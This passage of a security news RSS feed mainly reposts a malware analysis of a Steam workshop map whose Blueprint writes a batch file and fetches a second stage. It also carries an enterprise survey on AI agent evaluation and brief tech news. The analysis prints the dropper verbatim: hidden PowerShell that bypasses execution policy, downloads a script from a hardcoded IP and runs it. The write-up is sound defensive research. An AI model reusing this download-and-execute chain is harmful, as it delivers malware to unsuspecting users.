<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=verdict%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 09:57:57 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 09:57:57 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=verdict%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=verdict%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple fails to overturn $634 million patent verdict in Masimo lawsuit]]></title>
<description><![CDATA[In a legal setback, Apple has failed in its bid to overturn a $634 million jury verdict awarded to medical technology firm Masimo…
The post Apple fails to overturn $634 million patent verdict in Masimo lawsuit appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3687626/ios-mac-os/apple-fails-to-overturn-634-million-patent-verdict-in-masimo-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687626/ios-mac-os/apple-fails-to-overturn-634-million-patent-verdict-in-masimo-lawsuit/</guid>
<pubDate>Wed, 22 Jul 2026 23:11:25 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a legal setback, Apple has failed in its bid to overturn a $634 million jury verdict awarded to medical technology firm Masimo…</p>
<p>The post <a href="https://macdailynews.com/2026/07/22/apple-fails-to-overturn-634-million-patent-verdict-in-masimo-lawsuit/">Apple fails to overturn $634 million patent verdict in Masimo lawsuit</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Z Fold 8 Ultra vs. Galaxy Z Fold 6: This one is better - in every conceivable way]]></title>
<description><![CDATA[If you're already rocking a Samsung Galaxy Z Fold 6, is it time to pull the trigger on a new phone? Here's my verdict.]]></description>
<link>https://tsecurity.de/de/3686357/it-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-galaxy-z-fold-6-this-one-is-better-in-every-conceivable-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686357/it-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-galaxy-z-fold-6-this-one-is-better-in-every-conceivable-way/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you're already rocking a Samsung Galaxy Z Fold 6, is it time to pull the trigger on a new phone? Here's my verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Loses Bid to Overturn $634 Million Masimo Patent Verdict]]></title>
<description><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



